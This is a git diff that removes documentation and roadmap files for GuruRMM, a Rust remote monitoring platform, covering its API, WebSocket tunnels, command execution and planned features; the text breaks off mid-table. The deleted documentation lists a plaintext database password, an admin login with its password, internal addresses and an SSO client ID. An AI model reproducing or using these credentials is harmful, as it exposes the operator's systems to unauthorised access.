Key Technical Decisions (ADRs) - -**2026-04-14:** Use Argon2id for password hashing (not bcrypt) -- Library: argon2 crate v0.5 -- Config: m=19456, t=2, p=1 -- Output: 97-character hash string - -**2026-04-02:** Tunnel sessions use tech_id FK to users table -- Enables session ownership validation -- Prevents cross-tech session access in multi-tenant environment -- Session status query returns 403 if not owned by requesting tech - -**2026-04-01:** Downloads URL points to nginx (port 80), not API (port 3001) -- API server doesn't serve static files -- Nginx configured at /var/www/gururmm/downloads/ -- Cloudflare Tunnel routes rmm-api.azcomputerguru.com to nginx - -**2026-04-01:** Agent update system uses atomic rename pattern (Unix) -- Eliminates race condition between backup and install -- Copy to temp → chmod +x → rename (atomic) -- Includes rollback on restart failure (v0.6.0 fix) - -## Tunnel Architecture (Phase 1 Complete) - -### Session Lifecycle -1. Tech opens tunnel: POST /api/v1/tunnel/open → creates tech_session record -2. Server sends TunnelOpen via WebSocket → agent receives -3. Agent transitions Heartbeat → Tunnel mode → sends TunnelReady -4. Tech can now send channel operations (Phase 2, not implemented) -5. Tech closes tunnel: POST /api/v1/tunnel/close → updates tech_session.status='closed' -6. Server sends TunnelClose → agent transitions back to Heartbeat mode - -### Database Schema -```sql --- tech_sessions: Active tunnel sessions -CREATE TABLE tech_sessions ( - id SERIAL PRIMARY KEY, - session_id VARCHAR(36) UNIQUE NOT NULL, - tech_id UUID REFERENCES users(id), - agent_id UUID REFERENCES agents(id), - status VARCHAR(20) DEFAULT 'active', - opened_at TIMESTAMPTZ DEFAULT NOW(), - closed_at TIMESTAMPTZ -); - --- Unique constraint: one active session per tech+agent -CREATE UNIQUE INDEX idx_tech_sessions_active -ON tech_sessions(tech_id, agent_id, status) WHERE status = 'active'; - --- tunnel_audit: Audit log for tunnel operations -CREATE TABLE tunnel_audit ( - id BIGSERIAL PRIMARY KEY, - session_id VARCHAR(36) REFERENCES tech_sessions(session_id), - channel_id VARCHAR(36), - operation VARCHAR(50), - details JSONB, - created_at TIMESTAMPTZ DEFAULT NOW() -); -``` - -### WebSocket Protocol -```rust -// Server → Agent -enum ServerMessage { - TunnelOpen { session_id: String, tech_id: Uuid }, - TunnelClose { session_id: String }, - TunnelData { channel_id: String, data: TunnelDataPayload }, -} - -// Agent → Server -enum AgentMessage { - TunnelReady { session_id: String }, - TunnelData { channel_id: String, data: TunnelDataPayload }, - TunnelError { channel_id: String, error: String }, -} -``` - -## Roadmap - -### Phase 2: Channel Implementation (Next) -- [ ] Terminal channel (shell command execution) -- [ ] File channel (upload/download with progress) -- [ ] Registry channel (Windows registry access) -- [ ] Service channel (Windows service management) -- [ ] WebSocket data forwarding (tech ↔ server ↔ agent) -- [ ] Dashboard UI for tunnel management - -### Phase 3: Production Hardening -- [ ] Rate limiting on tunnel operations -- [ ] Session timeout enforcement (max duration) -- [ ] Concurrent session limits per tech -- [ ] Audit log cleanup/archival (retention policy) -- [ ] Metrics collection (session duration, data transferred) -- [ ] Alerting on suspicious tunnel activity - -### Backlog -- [ ] Fix SL-SERVER stuck update (manual restart required) -- [ ] Investigate 4 duplicate agent records in database (2x SL-SERVER seen) -- [ ] Windows update system testing (scheduled task timing) -- [ ] Agent reconnection on network failure -- [ ] Multi-tenant access control audit -- [ ] **[2026-04-15] Status endpoint returns 403 for closed sessions** — should return `{status: closed}` with session record when caller owns it. See session log. (Tracked as Roadmap S8.) -- [ ] **[2026-04-15] Agent writes no logs** — add tracing+file appender to `agent/src/main.rs`; logs to `C:\ProgramData\GuruRMM\agent.log`. (Bridge to Roadmap L1 OS-native sinks.) -- [ ] **[2026-04-15] Logging redesign — three-tier architecture.** See ROADMAP.md "Logging, Audit & Observability" section (L1-L10). -- [ ] **[2026-04-15] Multi-tenancy schema refactor.** See ROADMAP.md "Multi-tenancy / MSP SaaS" section (M1-M7). Blocks scaling to other MSPs. -- [ ] **[2026-04-15] Tunnel Channels (Phase 2).** See ROADMAP.md "Tunnel Channels" section (T1-T8). T5 (tech-side subscriber) is the gating design decision. - -## Useful Links - -- **Roadmap:** projects/msp-tools/guru-rmm/ROADMAP.md -- **Latest Session:** session-logs/2026-04-14-session.md -- **Gitea Repo:** http://172.16.3.20:3000/azcomputerguru/gururmm -- **Credentials:** credentials.md (search for "GuruRMM Server") - -## Quick Reference - API Endpoints - -### Authentication -- POST /api/auth/login - Get JWT token -- POST /api/auth/register - Create first admin (disabled after first user) -- GET /api/auth/me - Get current user info - -### Tunnel Management (Phase 1) -- POST /api/v1/tunnel/open - Open tunnel session -- GET /api/v1/tunnel/status/:session_id - Get session status -- POST /api/v1/tunnel/close - Close tunnel session - -### Agents -- GET /api/agents - List all agents with details -- GET /api/agents/:id - Get specific agent -- POST /api/agents/:id/move - Move agent to different site -- DELETE /api/agents/:id - Delete agent - -### Commands -- POST /api/agents/:id/command - Send command to agent -- GET /api/commands - List command history -- GET /api/commands/:id - Get command result - ---- - -**Before starting work:** Read latest session log in session-logs/ directory -**For context recovery:** Use /context skill to search previous work -**For credentials:** Always use 1Password - never hardcode diff --git a/projects/msp-tools/guru-rmm/GURURMM_DOCUMENTATION.md b/projects/msp-tools/guru-rmm/GURURMM_DOCUMENTATION.md deleted file mode 100644 index 9b18296..0000000 --- a/projects/msp-tools/guru-rmm/GURURMM_DOCUMENTATION.md +++ /dev/null @@ -1,606 +0,0 @@ -# GuruRMM - Complete Reference Documentation - -**Project:** GuruRMM - Remote Monitoring and Management Platform -**Version:** Server 0.2.0 / Agent 0.3.5 (deployed as 0.5.1) -**Last Updated:** 2026-02-17 - ---- - -## Table of Contents - -1. [Project Overview](#project-overview) -2. [Architecture](#architecture) -3. [API Endpoints](#api-endpoints) -4. [WebSocket Protocol](#websocket-protocol) -5. [Command Execution](#command-execution) -6. [Claude Code Integration](#claude-code-integration) -7. [Agent Configuration](#agent-configuration) -8. [Deployed Agents](#deployed-agents) -9. [Database](#database) -10. [Authentication](#authentication) -11. [Auto-Update System](#auto-update-system) -12. [Known Issues](#known-issues) -13. [Development](#development) -14. [File Structure](#file-structure) - ---- - -## Project Overview - -GuruRMM is a Remote Monitoring and Management (RMM) platform built entirely in Rust. It provides real-time agent monitoring, remote command execution, system metrics collection, and service watchdog capabilities for managed IT environments. - -### Technology Stack - -| Component | Technology | Version | -|------------|-----------------------------------------|---------| -| Server | Rust (Axum 0.7, SQLx 0.8, PostgreSQL) | 0.2.0 | -| Agent | Rust (cross-platform, native service) | 0.3.5 (deployed as 0.5.1) | -| Dashboard | React + TypeScript + Vite | -- | -| Real-time | WebSocket (tokio-tungstenite) | -- | -| Database | PostgreSQL | -- | - ---- - -## Architecture - -### Server - -- **Internal Address:** 172.16.3.30:3001 -- **Production URL:** https://rmm-api.azcomputerguru.com -- **WebSocket Endpoint:** wss://rmm-api.azcomputerguru.com/ws -- **Database:** PostgreSQL (same server) -- **Service:** systemd unit `gururmm-server` -- **Source:** `D:\ClaudeTools\projects\msp-tools\guru-rmm\server\` - -### Agent - -- **Windows Service Name:** GuruRMM (uses native-service feature) -- **Legacy Mode:** NSSM wrapper for Windows 7 / Server 2008 R2 -- **Config Path:** `C:\ProgramData\GuruRMM\agent.toml` -- **Binary Path:** `C:\Program Files\GuruRMM\gururmm-agent.exe` -- **Source:** `D:\ClaudeTools\projects\msp-tools\guru-rmm\agent\` - -### Communication Model - -``` -+-------------------+ WebSocket (persistent, bidirectional) +-------------------+ -| GuruRMM Agent | <-----------------------------------------------> | GuruRMM Server | -| (Windows/Linux) | | (Axum + Tokio) | -+-------------------+ +-------------------+ - | - | REST API (JWT) - v - +-------------------+ - | Dashboard | - | (React + TS) | - +-------------------+ -``` - -- **Primary:** WebSocket -- persistent bidirectional connection between agent and server -- **Legacy Fallback:** REST heartbeat polling -- [WARNING] NOT FULLY IMPLEMENTED -- **Auth:** API key sent in initial WebSocket authentication message -- **Site-Based Auth:** WORD-WORD-NUMBER format site codes combined with device_id - ---- - -## API Endpoints - -### Authentication - -| Method | Path | Description | Auth Required | -|--------|--------------------|----------------------------|---------------| -| POST | /api/auth/login | User login (email/password -> JWT) | No | -| POST | /api/auth/register | User registration | No (disabled) | -| GET | /api/auth/me | Get current user info | Yes | - -### Clients - -| Method | Path | Description | Auth Required | -|--------|-------------------------|-------------------------|---------------| -| GET | /api/clients | List all clients | Yes | -| POST | /api/clients | Create client | Yes | -| GET | /api/clients/:id | Get client by ID | Yes | -| PUT | /api/clients/:id | Update client | Yes | -| DELETE | /api/clients/:id | Delete client | Yes | -| GET | /api/clients/:id/sites | List client's sites | Yes | - -### Sites - -| Method | Path | Description | Auth Required | -|--------|--------------------------------|--------------------------|---------------| -| GET | /api/sites | List all sites | Yes | -| POST | /api/sites | Create site | Yes | -| GET | /api/sites/:id | Get site by ID | Yes | -| PUT | /api/sites/:id | Update site | Yes | -| DELETE | /api/sites/:id | Delete site | Yes | -| POST | /api/sites/:id/regenerate-key | Regenerate site API key | Yes | - -### Agents - -| Method | Path | Description | Auth Required | -|--------|--------------------------|--------------------------------------|---------------| -| GET | /api/agents | List all agents | Yes | -| POST | /api/agents | Register agent (authenticated) | Yes | -| GET | /api/agents/stats | Agent statistics | Yes | -| GET | /api/agents/unassigned | List unassigned agents | Yes | -| GET | /api/agents/:id | Get agent details | Yes | -| DELETE | /api/agents/:id | Delete agent | Yes | -| POST | /api/agents/:id/move | Move agent to different site | Yes | -| GET | /api/agents/:id/state | Get agent state (network, metrics) | Yes | - -### Commands - -| Method | Path | Description | Auth Required | -|--------|----------------------------|----------------------------|---------------| -| POST | /api/agents/:id/command | Send command to agent | Yes | -| GET | /api/commands | List recent commands | Yes | -| GET | /api/commands/:id | Get command status/result | Yes | - -### Metrics - -| Method | Path | Description | Auth Required | -|--------|----------------------------|---------------------------|---------------| -| GET | /api/agents/:id/metrics | Get agent metrics history | Yes | -| GET | /api/metrics/summary | Metrics summary | Yes | - -### Legacy Agent Endpoints - -These endpoints do **not** require JWT authentication. They are used by agents in legacy polling mode. - -| Method | Path | Description | Auth Required | -|--------|-------------------------------|------------------------------|---------------| -| POST | /api/agent/register-legacy | Register with site code | No | -| POST | /api/agent/heartbeat | Agent heartbeat | No | -| POST | /api/agent/command-result | Submit command result | No | - -[WARNING] Legacy heartbeat returns empty `pending_commands` -- not implemented (agents.rs line 334). -[WARNING] Legacy command-result endpoint does not store results (agents.rs lines 354-360). - -### WebSocket - -| Method | Path | Description | Auth Required | -|--------|------|------------------------|---------------------| -| GET | /ws | WebSocket upgrade | API key in auth msg | - ---- - -## WebSocket Protocol - -### Connection Flow - -1. Client initiates WebSocket upgrade to `wss://rmm-api.azcomputerguru.com/ws` -2. Agent sends authentication message with API key and device info -3. Server validates API key (SHA256 hash match or site code lookup) -4. On success, server registers the WebSocket connection for the agent -5. Bidirectional message exchange begins - -### Message Types - -**Agent -> Server:** - -- `Auth` -- Initial authentication payload (api_key, hostname, os_info, version) -- `Heartbeat` -- Periodic keepalive -- `MetricsReport` -- System metrics (CPU, memory, disk, network) -- `NetworkState` -- Network configuration snapshot (hash-based change detection) -- `CommandResult` -- Result of executed command (exit_code, stdout, stderr, duration) -- `WatchdogEvent` -- Service monitoring event - -**Server -> Agent:** - -- `AuthResponse` -- Success/failure of authentication -- `Command` -- Command to execute (CommandPayload) -- `Update` -- Auto-update instruction (download_url, checksum) -- `Ping` -- Keepalive ping - ---- - -## Command Execution - -### Command Types - -| Type | Description | Shell Used | -|--------------|----------------------------------------------|---------------------------------------------| -| shell | System shell command | cmd.exe (Windows), /bin/sh (Unix) | -| powershell | PowerShell command | powershell -NoProfile -NonInteractive -Command | -| python | Python inline code | python -c | -| script | Custom interpreter | Configurable | -| claude_task | Claude Code task execution (special handler) | Claude Code CLI | - -### Command Flow - -``` -1. Dashboard sends POST /api/agents/:id/command - Body: { command_type, command, timeout_seconds, elevated } - -2. Server creates command record in database (status = pending) - -3. If agent is connected via WebSocket: - -> Server sends command via WebSocket - -> Status updated to "running" - -4. If agent is offline: - -> Command stays as "pending" (queued) - -5. Agent receives command and executes it - -6. Agent sends CommandResult back via WebSocket - -> { id, exit_code, stdout, stderr, duration_ms } - -7. Server updates database with result -``` - -### Command States - -| State | Description | -|-----------|------------------------------------------------| -| pending | Created, agent offline or not yet sent | -| running | Sent to agent via WebSocket, awaiting result | -| completed | Agent reported exit_code = 0 | -| failed | Agent reported exit_code != 0 | - -### [BUG] Server-Agent Command Type Mismatch - -This is a **critical** known bug that prevents all remote command execution. - -**Root Cause:** - -The server's `CommandPayload` serializes `command_type` as a plain JSON string: - -```json -{"command_type": "powershell", "command": "Get-Process", ...} -``` - -The agent's `CommandPayload` expects `command_type` as a Rust enum (`CommandType::PowerShell`), which serde deserializes from an object or tagged format, not a bare string. - -**Result:** Serde deserialization fails silently on the agent side. Commands are never executed. All commands remain in "running" state permanently because no `CommandResult` is ever sent back. - -**Fix Required:** Either: -- Change the server to serialize `command_type` in the enum format the agent expects, OR -- Change the agent to accept plain string values for `command_type` - ---- - -## Claude Code Integration - -### Architecture - -The agent includes a built-in Claude Code executor for running AI-assisted tasks. - -- **Singleton:** Global `ClaudeExecutor` via `once_cell::Lazy` -- **Working Directory:** Restricted to `C:\Shares\test\` only -- **Rate Limit:** 10 tasks per hour (sliding window) -- **Max Concurrent:** 2 simultaneous tasks -- **Default Timeout:** 300 seconds (max 600) -- **Input Sanitization:** Blocks `& | ; $ ( ) < > \` \n \r` - -### Claude Task Command Format - -The server sends: - -```json -{ - "type": "command", - "payload": { - "id": "uuid", - "command_type": "claude_task", - "command": "task description", - "timeout_seconds": 300, - "elevated": false - } -} -``` - -[WARNING] This also suffers from the command type mismatch bug. The agent expects `command_type` to be an object for ClaudeTask: - -```json -{ - "claude_task": { - "task": "...", - "working_directory": "...", - "context_files": [...] - } -} -``` - -### Exit Codes - -| Code | Meaning | -|------|------------------------------------------| -| 0 | Task completed successfully | -| 1 | Task failed | -| 124 | Task timed out | -| -1 | Executor error (rate limit, validation) | - ---- - -## Agent Configuration - -### agent.toml Format - -```toml -[server] -url = "wss://rmm-api.azcomputerguru.com/ws" -api_key = "SITE-CODE-1234" # or grmm_xxxxx API key - -[metrics] -interval_seconds = 60 # Range: 10-3600, default: 60 -collect_cpu = true -collect_memory = true -collect_disk = true -collect_network = true - -[watchdog] -enabled = true -check_interval_seconds = 30 - -[[watchdog.services]] -name = "ServiceName" -action = "restart" -max_restarts = 3 -restart_cooldown_seconds = 60 -``` - -### Hardcoded Intervals - -These values are currently not configurable via `agent.toml`: - -| Interval | Value | Notes | -|----------------------------|-------------|--------------------------------| -| Heartbeat | 30 seconds | | -| Network state check | 30 seconds | Uses hash-based change detection | -| Connection idle timeout | 90 seconds | | -| Auth timeout | 10 seconds | | -| Reconnect delay | 10 seconds | | -| Command execution timeout | 300 seconds | Configurable per command | - ---- - -## Deployed Agents - -| Hostname | Agent ID (prefix) | Version | OS | Status | -|-------------|--------------------|---------|-----------------------------|---------| -| ACG-M-L5090 | 97f63c3b-... | 0.5.1 | Windows 11 (26200) | online | -| AD2 | d28a1c90-... | 0.5.1 | Windows Server 2016 (14393) | online | -| gururmm | 8cd0440f-... | 0.5.1 | Ubuntu 22.04 | offline | -| SL-SERVER | 2585f6d5-... | 0.5.1 | unknown | offline | -| SL-SERVER | dff818e6-... | 0.5.1 | unknown | online | - ---- - -## Database - -### Connection Details - -| Parameter | Value | -|-----------|------------------------------------| -| Host | 172.16.3.30 | -| Port | 5432 | -| Database | gururmm | -| User | gururmm | -| Password | 43617ebf7eb242e814ca9988cc4df5ad | - -### Key Tables - -| Table | Description | -|---------------------|------------------------------------------------| -| users | User accounts (JWT auth, Argon2id hashing) | -| clients | Client organizations | -| sites | Physical locations with API keys | -| agents | RMM agent instances | -| agent_state | Latest agent state (network, metrics snapshot) | -| agent_updates | Agent update tracking | -| alerts | System alerts | -| commands | Remote command execution log | -| metrics | Performance metrics time series | -| policies | Configuration policies | -| registration_tokens | Agent registration tokens | -| watchdog_events | Service monitoring events | - ---- - -## Authentication - -### API Authentication (JWT) - -1. Send `POST /api/auth/login` with `{ email, password }` -2. Server validates credentials (Argon2id password hash) -3. Returns JWT token (24-hour expiry) -4. Include token in subsequent requests: `Authorization: Bearer ` - -**Admin Credentials:** - -| Field | Value | -|----------|------------------------------------| -| Email | claude-api@azcomputerguru.com | -| Password | ClaudeAPI2026!@# | - -### Agent Authentication (API Key) - -Two authentication modes: - -1. **Direct API Key** -- Agent sends `grmm_xxxxx` format key, server matches against `api_key_hash` (SHA256) in agents table -2. **Site-Based** -- Agent sends site code (WORD-WORD-NUMBER format, e.g., `DARK-GROVE-7839`) combined with `device_id`, server looks up site and registers/matches agent - -### SSO (Optional) - -- **Provider:** Microsoft Entra ID -- **Client ID:** 18a15f5d-7ab8-46f4-8566-d7b5436b84b6 - ---- - -## Auto-Update System - -### Update Flow - -``` -1. Agent connects via WebSocket and sends its version in the auth payload - -2. Server checks if a newer version is available for the agent's OS/architecture - -3. If update needed: - -> Server sends Update message with download_url and SHA256 checksum - -4. Agent downloads the new binary from the download URL - -5. Agent verifies the SHA256 checksum - -6. Agent replaces its own binary and restarts - -7. On reconnection, agent reports previous_version in auth payload - -8. Server marks the update as completed -``` - -### Download Location - -- **Server Path:** `/var/www/gururmm/downloads/` -- **Public URL:** `https://rmm-api.azcomputerguru.com/downloads/` - ---- - -## Known Issues - -### CRITICAL - -| ID | Type | Description | -|----|------------|--------------------------------------------------------------------------------------------| -| 1 | [BUG] | Command type mismatch between server (String) and agent (Enum) -- commands never execute | -| 2 | [TODO] | Legacy heartbeat returns empty pending_commands (agents.rs line 334) | -| 3 | [TODO] | Legacy command-result endpoint does not store results (agents.rs lines 354-360) | -| 4 | [SECURITY] | CORS configured with AllowOrigin::Any -- should be restricted to known origins | - -### MAJOR - -| ID | Description | -|----|--------------------------------------------------------------------------------| -| 1 | No command timeout enforcement on server side | -| 2 | No retry logic for failed WebSocket sends | -| 3 | Database inconsistency: agent shows "online" but command sends fail silently | -| 4 | Missing database indexes on frequently queried columns | -| 5 | No rate limiting on command submissions | - -### MINOR - -| ID | Description | -|----|--------------------------------------------------------------------------| -| 1 | Hardcoded intervals (heartbeat, network check) not configurable | -| 2 | Watchdog events logged but not stored in database | -| 3 | No log rotation configured | -| 4 | Unicode characters in agent output (should use ASCII per coding guidelines) | - ---- - -## Development - -### Building - -```bash -# Server -cd server && cargo build --release - -# Agent (Windows, native service mode) -cd agent && cargo build --release - -# Agent (Legacy mode for Windows 7 / Server 2008 R2) -cd agent && cargo build --release --features legacy --no-default-features -``` - -### Testing - -```bash -cargo test # Run unit tests -cargo clippy # Run linter -cargo fmt --check # Check formatting -``` - -### Deploying the Server - -```bash -# On gururmm server (172.16.3.30) -systemctl stop gururmm-server -cp target/release/gururmm-server /opt/gururmm/ -systemctl start gururmm-server -journalctl -u gururmm-server -f -``` - -### Deploying the Agent - -```cmd -REM On target Windows machine -sc stop GuruRMM -copy gururmm-agent.exe "C:\Program Files\GuruRMM\gururmm-agent.exe" -sc start GuruRMM -``` - ---- - -## File Structure - -``` -D:\ClaudeTools\projects\msp-tools\guru-rmm\ -| -+-- agent/ -| +-- src/ -| | +-- main.rs # Entry point, CLI parsing, service install -| | +-- config.rs # TOML config loading and validation -| | +-- claude.rs # Claude Code executor (rate-limited singleton) -| | +-- service.rs # Windows service handler (native-service feature) -| | +-- device_id.rs # Hardware-based device ID generation -| | +-- transport/ -| | | +-- mod.rs # Message types (AgentMessage, ServerMessage, CommandType enum) -| | | +-- websocket.rs # WebSocket client, reconnection, command execution -| | +-- metrics/ -| | | +-- mod.rs # System metrics collection, network state hashing -| | +-- updater/ -| | +-- mod.rs # Self-update logic (download, verify, replace) -| +-- deploy/ # Deployment configs per site -| +-- Cargo.toml # v0.3.5, features: native-service, legacy -| -+-- server/ -| +-- src/ -| | +-- main.rs # Axum server setup, router, middleware -| | +-- api/ -| | | +-- mod.rs # Route definitions and grouping -| | | +-- agents.rs # Agent management + legacy polling endpoints -| | | +-- commands.rs # Command dispatch and status tracking -| | | +-- auth.rs # JWT login, registration, user info -| | | +-- clients.rs # Client CRUD operations -| | | +-- sites.rs # Site management and API key regeneration -| | | +-- metrics.rs # Metrics query endpoints -| | +-- ws/ -| | | +-- mod.rs # WebSocket handler, ServerMessage types, CommandPayload (String type) -| | +-- db/ -| | | +-- agents.rs # Agent database operations -| | | +-- commands.rs # Command database operations -| | +-- auth/ -| | +-- mod.rs # JWT middleware and token validation -| +-- Cargo.toml # v0.2.0 -| -+-- dashboard/ # React frontend (if present) -| -+-- docs/ - +-- FEATURE_ROADMAP.md # Complete feature plan (654 lines) - +-- REMEDIATION_PLAN.md # Security and code review (1277 lines) -``` - ---- - -## Quick Reference - -| Item | Value | -|--------------------|---------------------------------------------| -| Server URL | https://rmm-api.azcomputerguru.com | -| WebSocket URL | wss://rmm-api.azcomputerguru.com/ws | -| Internal Address | 172.16.3.30:3001 | -| Database | PostgreSQL @ 172.16.3.30:5432/gururmm | -| Service Name | gururmm-server (systemd) | -| Agent Service | GuruRMM (Windows SCM) | -| Agent Config | C:\ProgramData\GuruRMM\agent.toml | -| Agent Binary | C:\Program Files\GuruRMM\gururmm-agent.exe | -| Downloads | https://rmm-api.azcomputerguru.com/downloads/ | -| Admin Email | claude-api@azcomputerguru.com | -| SSO Client ID | 18a15f5d-7ab8-46f4-8566-d7b5436b84b6 | - ---- - -*Document generated 2026-02-17. Source of truth for GuruRMM project reference.* diff --git a/projects/msp-tools/guru-rmm/ROADMAP.md b/projects/msp-tools/guru-rmm/ROADMAP.md deleted file mode 100644 index 2cce871..0000000 --- a/projects/msp-tools/guru-rmm/ROADMAP.md +++ /dev/null @@ -1,251 +0,0 @@ -# GuruRMM - Feature Roadmap & Change Requests - -Tracked list of desired features, improvements, and changes. Used to evaluate whether the current codebase supports these goals or if a rewrite is needed. - -**Last Updated:** 2026-04-15 - ---- - -## Terminology (canonical) - -Decided 2026-04-15. Use these exact terms in code, UI, API, docs, and conversation. Don't invent synonyms. - -| Tier | Term | DB column | Meaning | Example | -|---|---|---|---|---| -| 1 | **Platform** | — | The software author (us) | GuruRMM | -| 2 | **Partner** | `tenant_id` | An MSP — a paying customer of the Platform | "Acme IT Services" | -| 3 | **Client** | `client_id` | A Partner's customer | "Dataforth Corp" | -| 4 | **Site** | `site_id` | A location or logical grouping within a Client | "Dataforth Tucson HQ" | -| 5 | **Agent** | `agent_id` | An endpoint at a Site | AD2, SL-SERVER | - -**Notes:** -- UI/API use "Partner"; DB uses `tenant_id` (industry-standard term for isolation). Do not rename `tenant_id` in code. -- "Client" may collide with HTTP-client terminology in context; when ambiguous, use "client org" or "client account". -- **Site** is not always a physical location — can be a DMZ, VLAN, cloud region, whatever grouping makes sense for that Client. -- **Do not use** "sub-tenant" or "customer" (ambiguous across tiers). -- User roles: Platform admin (us), Partner admin, Partner tech, Client contact (limited read access to their own data). -- Optional Department/OU tier inside a Site is deferred until a real customer asks for it. -- MSPs can label-override their UI via `partner_settings.label_overrides` JSONB (e.g., rename "Client"→"Customer" for their branded view) — supported without schema changes. - -**API path convention:** `/api/public/v1/partners/{partner_id}/clients/{client_id}/sites/{site_id}/agents/{agent_id}` - -**Event bus topic convention:** `agent.online`, `site.created`, `client.deleted`, `partner.upgraded`, etc. - ---- - -## Dashboard / UI - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| D1 | All metrics clickable to relevant content | High | Done | Stat cards link to filtered agent views | -| D2 | Dark theme with branded sidebar | High | Done | JetBrains Mono + Plus Jakarta Sans, GURURMM MISSION CONTROL branding | -| D3 | Command cancel/delete/clear history | Medium | Done | Cancel pending/running, delete any, bulk clear finished | -| D4 | Global search across all agent details | High | Open | Search by hostname, MAC, IP, OS, version -- any agent field. Dashboard main page. | -| D5 | Clickable metric cards on agent detail -> drill-down views | High | Open | CPU card -> process list sorted by CPU%. Memory card -> process list sorted by RAM. Disk card -> drive/folder usage breakdown. Sortable tables. | -| D6 | Real-time terminal (PS/cmd) via WebSocket tunnel | High | Open | Interactive shell session relayed through server. Separate from check-in process. Spawns on demand, full bidirectional I/O. | -| D7 | Remote file system browser | High | Open | Browse, upload, download, rename, delete files on agent. Tree view + detail pane. Via real-time tunnel. | -| D8 | Remote registry editor (Windows) | Medium | Open | Browse/edit/create/delete registry keys and values. Tree view like regedit. Via real-time tunnel. | -| D9 | Remote services manager | High | Open | List all services with status. Start/stop/restart/disable/enable/edit startup type. Sortable, searchable. Via real-time tunnel. | -| D10 | | | | | - -## Agent / Installer - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| A1 | Site-code-based installers (no API keys) | High | Done | /install/:site_code/* endpoints, binary with embedded config | -| A2 | Public shareable install links per client | High | Done | Landing page at /install/:site_code with OS detection | -| A3 | Capture full OS detail (distro/version) | High | Open | Linux agents just report "linux" -- should capture distro name and version (e.g., Ubuntu 22.04, Debian 12). Agent-side change to collect, server-side to store/display. | -| A4 | Reliable CPU/GPU temperature collection | High | Open | Not working on any machine currently. Windows: WMI/OpenHardwareMonitor/LibreHardwareMonitor. Linux: lm-sensors/sysfs thermal zones. Need fallback chain. | -| A5 | Process list collection (CPU%, RAM, disk I/O) | High | Open | Needed for D5 drill-downs. Agent collects top processes, sends on demand or as part of extended state. | -| A6 | Disk usage detail (per-drive, large folders) | Medium | Open | Needed for D5 disk drill-down. Per-partition usage + optional large folder scan. | -| A7 | | | | | - -## Server / API - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| S1 | Claude Code integration (claude_task command type) | Medium | Planned | gururmm-agent project has the Rust module, not yet integrated | -| S2 | Stackable/inheritable policy system | High | Open | Policies at Company > Site > Machine levels. Lower level overrides higher. Merge behavior for non-conflicting settings. | -| S3 | Dynamic groups based on agent attributes | High | Open | Rule-based groups (e.g., RAM <= 8GB, OS = Windows 10, disk > 90%). Policies can target dynamic groups. | -| S4 | Policy actions: custom script execution | High | Open | Policies can trigger scripts (PowerShell/bash) on matching agents. Scheduled or on-demand. | -| S5 | Customizable alerting system | High | Open | User-defined alert rules: offline detection, disk space thresholds, SMART errors, RAID degradation, bad sectors, CPU/RAM sustained high, temp thresholds. Configurable severity, notification channels, escalation. | -| S6 | Alert notification channels | Medium | Open | Email, webhook, Slack/Teams integration, push notifications. Per-alert-rule routing. | -| S7 | Real-time tunnel mechanism (separate from check-in) | High | Phase 1 Done | Session lifecycle REST+WS+DB+agent state machine complete (2026-04-14 / verified 2026-04-15). Phase 2 (channels) tracked under Tunnel Channels section below. | -| S8 | Closed-session status endpoint returns 403 | Medium | Open | `GET /api/v1/tunnel/status/{id}` returns 403 for closed sessions (should return `{status: closed}`). Root cause: `verify_session_ownership()` applies `WHERE status='active'` before ownership check. Fix in `server/src/db/tunnel.rs:94-103`. | -| S9 | | | | | - -## Tunnel Channels (Phase 2) - -On-demand capabilities layered on top of the tunnel session framework. Each channel is a typed WebSocket payload pair (request/response) routed by `channel_id` under an open `tech_session`. All channel operations are audited per Logging & Audit section. - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| T1 | Terminal channel (interactive shell) | High | Open | `TunnelDataPayload::Terminal { command }` → `TerminalOutput { stdout, stderr, exit_code }` (types exist in `server/src/ws/mod.rs:310-319`, agent stub at `agent/src/transport/websocket.rs:408-434`). Implement via `tokio::process::Command` with configurable timeout (default 30s). 80% of field use cases. Ship before other channels. | -| T2 | File channel (upload/download/rename/delete + tree browse) | High | Open | Covers D7. Stream file bytes in chunks over WS with progress. Path safety (no `..` traversal). Needs allowlist vs freeform decision. | -| T3 | Registry channel (Windows) | Medium | Open | Covers D8. Read/write/create/delete keys + values. Use `winreg` crate. Gate to tenant admins only. | -| T4 | Service channel (Windows services) | High | Open | Covers D9. List/start/stop/restart/change-startup-type. `windows-service` crate. | -| T5 | Tech-side tunnel subscriber | High | Open | **Blocks all channels.** Browser currently has no mechanism to receive tunnel data from server. Design: `GET /api/v1/tunnel/stream/{session_id}` WebSocket + in-memory `HashMap>` pub-sub. | -| T6 | Server-side forward path | High | Open | `server/src/ws/mod.rs:808-825` currently logs+drops incoming `AgentMessage::TunnelData`. Wire to T5 pub-sub + tunnel_audit INSERT. | -| T7 | Working directory / shell choice / elevation decisions | High | Open | Terminal channel design decisions: cwd allowlist vs free-form; PowerShell vs cmd on Windows; admin elevation gating by role. | -| T8 | Channel concurrency + rate limits | Medium | Open | Multiple channels in one session. Per-channel rate/quota. Output size cap (default 1 MB/command). | -| T9 | | | | | - -## Logging, Audit & Observability - -Three-tier design decided 2026-04-15. Each tier has distinct purpose, storage, retention, and consumer. - -**Design principles:** -- **Agent self-logging** uses OS-native mechanisms (no custom transport). Troubleshoot with familiar tools. -- **Client machine health** via OS event log pulls. Feeds dashboard and alerting. -- **Tunnel audit** captured directly to RMM DB. Non-negotiable, never scrubbed, designed for legal/compliance retention. - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| L1 | Agent self-logging via OS-native sinks | High | Open | Windows Event Log (custom `GuruRMM-Agent` provider registered at install), Linux systemd/journald (`tracing` → stdout when run as unit), macOS unified log (`os_log` crate). Verbosity per-tenant configurable. Default INFO. | -| L2 | Client event log pull + summarize | High | Open | Agent polls OS event log on schedule; ships filtered events to server `client_events` table. Windows: `Get-WinEvent -Level 1,2 -MaxEvents N`. Linux: `journalctl -p err --output json`. macOS: `log show --predicate 'messageType == error' --style json`. | -| L3 | L2 cadence — default 15-min delta poll + on tunnel open/close | High | Open | Default 900s. On tunnel open: force delta pull so tech has fresh context. On tunnel close: force delta pull to capture anything tech's actions triggered. Configurable per-tenant in dashboard. | -| L4 | L2 levels — default Critical + Error + Warning | High | Open | Configurable per-tenant. Default: Critical(1), Error(2), Warning(3). Separate "noisy" bucket 